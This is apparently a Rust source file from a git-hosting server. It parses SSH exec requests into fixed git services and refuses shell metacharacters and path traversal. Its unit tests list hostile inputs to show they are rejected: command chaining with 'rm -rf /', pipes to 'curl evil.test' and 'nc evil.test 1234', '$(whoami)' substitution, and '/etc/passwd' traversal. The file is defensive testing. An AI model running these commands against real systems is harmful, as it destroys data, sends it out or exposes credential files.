worklyn / zukapublic
Agent-first git hosting. One Rust binary: git over HTTP and SSH, a REST API, MCP, CI, and multi-tenant isolation.
Get a copy:
git clone https://zuka.worklyn.com/worklyn/zuka.git
| 1 | // Parsing the one thing an SSH session is allowed to exec. |
| 2 | // |
| 3 | // The client sends a shell command string. It is never handed to a shell — it is |
| 4 | // parsed into one of three fixed services plus a repository path, and anything that |
| 5 | // does not match is refused. That is what makes `git-upload-pack '/a/b.git'; rm -rf /` |
| 6 | // a parse error rather than an execution. |
| 7 | |
| 8 | use crate::error::{Error, Result}; |
| 9 | use crate::git::validate::{self, Name}; |
| 10 | |
| 11 | #[derive(Debug, Clone, Copy, PartialEq, Eq)] |
| 12 | pub enum Service { |
| 13 | UploadPack, |
| 14 | ReceivePack, |
| 15 | /// Serves `git archive --remote`. It exposes exactly what `upload-pack` already |
| 16 | /// exposes — the contents of reachable trees — to a caller who has read access, |
| 17 | /// so refusing it withheld a normal git capability without withholding any data. |
| 18 | UploadArchive, |
| 19 | } |
| 20 | |
| 21 | impl Service { |
| 22 | pub fn writes(self) -> bool { |
| 23 | matches!(self, Service::ReceivePack) |
| 24 | } |
| 25 | |
| 26 | /// The git subcommand to spawn. |
| 27 | pub fn git_subcommand(self) -> &'static str { |
| 28 | match self { |
| 29 | Service::UploadPack => "upload-pack", |
| 30 | Service::ReceivePack => "receive-pack", |
| 31 | Service::UploadArchive => "upload-archive", |
| 32 | } |
| 33 | } |
| 34 | } |
| 35 | |
| 36 | #[derive(Debug, Clone)] |
| 37 | pub struct GitCommand { |
| 38 | pub service: Service, |
| 39 | pub account: Name, |
| 40 | pub repo: Name, |
| 41 | } |
| 42 | |
| 43 | /// Parse an SSH exec request into a git service and a validated repository. |
| 44 | pub fn parse_command(raw: &str) -> Result<GitCommand> { |
| 45 | let raw = raw.trim(); |
| 46 | if raw.len() > 512 { |
| 47 | return Err(Error::invalid("invalid-command", "command is too long")); |
| 48 | } |
| 49 | |
| 50 | let (service, rest) = split_service(raw).ok_or_else(|| { |
| 51 | Error::invalid( |
| 52 | "invalid-command", |
| 53 | "only git-upload-pack and git-receive-pack are available", |
| 54 | ) |
| 55 | })?; |
| 56 | |
| 57 | let path = unquote(rest.trim())?; |
| 58 | let (account, repo) = split_repo_path(&path)?; |
| 59 | |
| 60 | Ok(GitCommand { |
| 61 | service, |
| 62 | account: validate::name(&account)?, |
| 63 | repo: validate::name(&repo)?, |
| 64 | }) |
| 65 | } |
| 66 | |
| 67 | /// Match `git-upload-pack <path>` or `git upload-pack <path>`, and nothing else. |
| 68 | fn split_service(raw: &str) -> Option<(Service, &str)> { |
| 69 | const FORMS: &[(&str, Service)] = &[ |
| 70 | ("git-upload-pack ", Service::UploadPack), |
| 71 | ("git upload-pack ", Service::UploadPack), |
| 72 | ("git-receive-pack ", Service::ReceivePack), |
| 73 | ("git receive-pack ", Service::ReceivePack), |
| 74 | ("git-upload-archive ", Service::UploadArchive), |
| 75 | ("git upload-archive ", Service::UploadArchive), |
| 76 | ]; |
| 77 | |
| 78 | FORMS |
| 79 | .iter() |
| 80 | .find(|(prefix, _)| raw.starts_with(prefix)) |
| 81 | .map(|(prefix, service)| (*service, &raw[prefix.len()..])) |
| 82 | } |
| 83 | |
| 84 | /// Strip the single or double quotes git wraps the path in. |
| 85 | /// |
| 86 | /// Rejects anything containing a shell metacharacter. The path never reaches a |
| 87 | /// shell, so this is defence in depth rather than the control — but a path that |
| 88 | /// needs escaping is not a path this server serves. |
| 89 | fn unquote(value: &str) -> Result<String> { |
| 90 | let unquoted = if (value.starts_with('\'') && value.ends_with('\'') && value.len() >= 2) |
| 91 | || (value.starts_with('"') && value.ends_with('"') && value.len() >= 2) |
| 92 | { |
| 93 | &value[1..value.len() - 1] |
| 94 | } else { |
| 95 | value |
| 96 | }; |
| 97 | |
| 98 | if unquoted.is_empty() { |
| 99 | return Err(Error::invalid("invalid-command", "no repository given")); |
| 100 | } |
| 101 | if unquoted.chars().any(|c| { |
| 102 | matches!( |
| 103 | c, |
| 104 | ';' | '&' | '|' | '`' | '$' | '(' | ')' | '<' | '>' | '\n' | '\r' | '\'' | '"' | '\\' |
| 105 | ) |
| 106 | }) { |
| 107 | return Err(Error::invalid( |
| 108 | "invalid-command", |
| 109 | "repository path contains an illegal character", |
| 110 | )); |
| 111 | } |
| 112 | Ok(unquoted.to_string()) |
| 113 | } |
| 114 | |
| 115 | /// Split `/account/repo.git` into its two names. |
| 116 | /// |
| 117 | /// Accepts the leading slash and the `~` form some clients send, and requires |
| 118 | /// exactly two components so `/a/b/c.git` is a parse error rather than a path that |
| 119 | /// silently resolves somewhere unintended. |
| 120 | fn split_repo_path(path: &str) -> Result<(String, String)> { |
| 121 | // Strip exactly one leading marker. Trimming repeatedly would normalise |
| 122 | // `//etc/shadow` into a valid-looking `etc/shadow` instead of refusing it, and |
| 123 | // silently repairing a malformed path is how a parser and its caller end up |
| 124 | // disagreeing about what was requested. |
| 125 | let trimmed = path |
| 126 | .strip_prefix('~') |
| 127 | .unwrap_or_else(|| path.strip_prefix('/').unwrap_or(path)); |
| 128 | |
| 129 | let parts: Vec<&str> = trimmed.split('/').collect(); |
| 130 | |
| 131 | if parts.len() != 2 || parts.iter().any(|p| p.is_empty()) { |
| 132 | return Err(Error::invalid( |
| 133 | "invalid-command", |
| 134 | "repository must be given as <account>/<repo>.git", |
| 135 | )); |
| 136 | } |
| 137 | |
| 138 | let repo = parts[1].strip_suffix(".git").unwrap_or(parts[1]); |
| 139 | Ok((parts[0].to_string(), repo.to_string())) |
| 140 | } |
| 141 | |
| 142 | #[cfg(test)] |
| 143 | mod tests { |
| 144 | use super::*; |
| 145 | |
| 146 | #[test] |
| 147 | fn parses_the_forms_git_actually_sends() { |
| 148 | for raw in [ |
| 149 | "git-upload-pack '/alice/site.git'", |
| 150 | "git-upload-pack /alice/site.git", |
| 151 | "git upload-pack '/alice/site.git'", |
| 152 | "git-upload-pack 'alice/site.git'", |
| 153 | "git-upload-pack '~alice/site.git'", |
| 154 | "git-upload-pack \"/alice/site.git\"", |
| 155 | ] { |
| 156 | let parsed = parse_command(raw).unwrap_or_else(|e| panic!("{raw:?}: {e}")); |
| 157 | assert_eq!(parsed.service, Service::UploadPack); |
| 158 | assert_eq!(parsed.account.as_str(), "alice"); |
| 159 | assert_eq!(parsed.repo.as_str(), "site"); |
| 160 | } |
| 161 | } |
| 162 | |
| 163 | #[test] |
| 164 | fn receive_pack_is_recognised_as_a_write() { |
| 165 | let parsed = parse_command("git-receive-pack '/alice/site.git'").unwrap(); |
| 166 | assert_eq!(parsed.service, Service::ReceivePack); |
| 167 | assert!(parsed.service.writes()); |
| 168 | assert!(!Service::UploadPack.writes()); |
| 169 | } |
| 170 | |
| 171 | #[test] |
| 172 | fn a_case_variant_resolves_to_the_same_repository() { |
| 173 | let lower = parse_command("git-upload-pack '/alice/site.git'").unwrap(); |
| 174 | let upper = parse_command("git-upload-pack '/Alice/SITE.git'").unwrap(); |
| 175 | assert_eq!(lower.account, upper.account); |
| 176 | assert_eq!(lower.repo, upper.repo); |
| 177 | } |
| 178 | |
| 179 | #[test] |
| 180 | fn refuses_command_chaining_and_substitution() { |
| 181 | for raw in [ |
| 182 | "git-upload-pack '/alice/site.git'; rm -rf /", |
| 183 | "git-upload-pack '/alice/site.git' && curl evil.test", |
| 184 | "git-upload-pack '/alice/$(whoami).git'", |
| 185 | "git-upload-pack '/alice/`id`.git'", |
| 186 | "git-upload-pack '/alice/site.git' | nc evil.test 1234", |
| 187 | "git-upload-pack '/alice/site.git'\nrm -rf /", |
| 188 | ] { |
| 189 | assert!(parse_command(raw).is_err(), "{raw:?} must be refused"); |
| 190 | } |
| 191 | } |
| 192 | |
| 193 | #[test] |
| 194 | fn upload_archive_is_served_and_counts_as_a_read() { |
| 195 | let parsed = parse_command("git-upload-archive '/alice/site.git'").unwrap(); |
| 196 | assert_eq!(parsed.service, Service::UploadArchive); |
| 197 | assert!( |
| 198 | !parsed.service.writes(), |
| 199 | "archiving must need read access, not write" |
| 200 | ); |
| 201 | } |
| 202 | |
| 203 | #[test] |
| 204 | fn refuses_every_command_that_is_not_a_git_service() { |
| 205 | for raw in [ |
| 206 | "sh", |
| 207 | "bash -i", |
| 208 | "scp -t /tmp", |
| 209 | "rm -rf /", |
| 210 | "", |
| 211 | "git-upload-pack", |
| 212 | "git-upload-packX '/alice/site.git'", |
| 213 | "git-upload-archiveX '/alice/site.git'", |
| 214 | ] { |
| 215 | assert!(parse_command(raw).is_err(), "{raw:?} must be refused"); |
| 216 | } |
| 217 | } |
| 218 | |
| 219 | #[test] |
| 220 | fn refuses_traversal_in_the_repository_path() { |
| 221 | for raw in [ |
| 222 | "git-upload-pack '/../../etc/passwd'", |
| 223 | "git-upload-pack '/alice/../bob/secret.git'", |
| 224 | "git-upload-pack '/alice/site.git/../../other'", |
| 225 | "git-upload-pack '//etc/shadow'", |
| 226 | ] { |
| 227 | assert!(parse_command(raw).is_err(), "{raw:?} must be refused"); |
| 228 | } |
| 229 | } |
| 230 | |
| 231 | #[test] |
| 232 | fn requires_exactly_an_account_and_a_repo() { |
| 233 | for raw in [ |
| 234 | "git-upload-pack '/site.git'", |
| 235 | "git-upload-pack '/a/b/c.git'", |
| 236 | "git-upload-pack '/'", |
| 237 | ] { |
| 238 | assert!(parse_command(raw).is_err(), "{raw:?} must be refused"); |
| 239 | } |
| 240 | } |
| 241 | |
| 242 | #[test] |
| 243 | fn refuses_an_over_long_command() { |
| 244 | let raw = format!("git-upload-pack '/alice/{}.git'", "x".repeat(600)); |
| 245 | assert!(parse_command(&raw).is_err()); |
| 246 | } |
| 247 | } |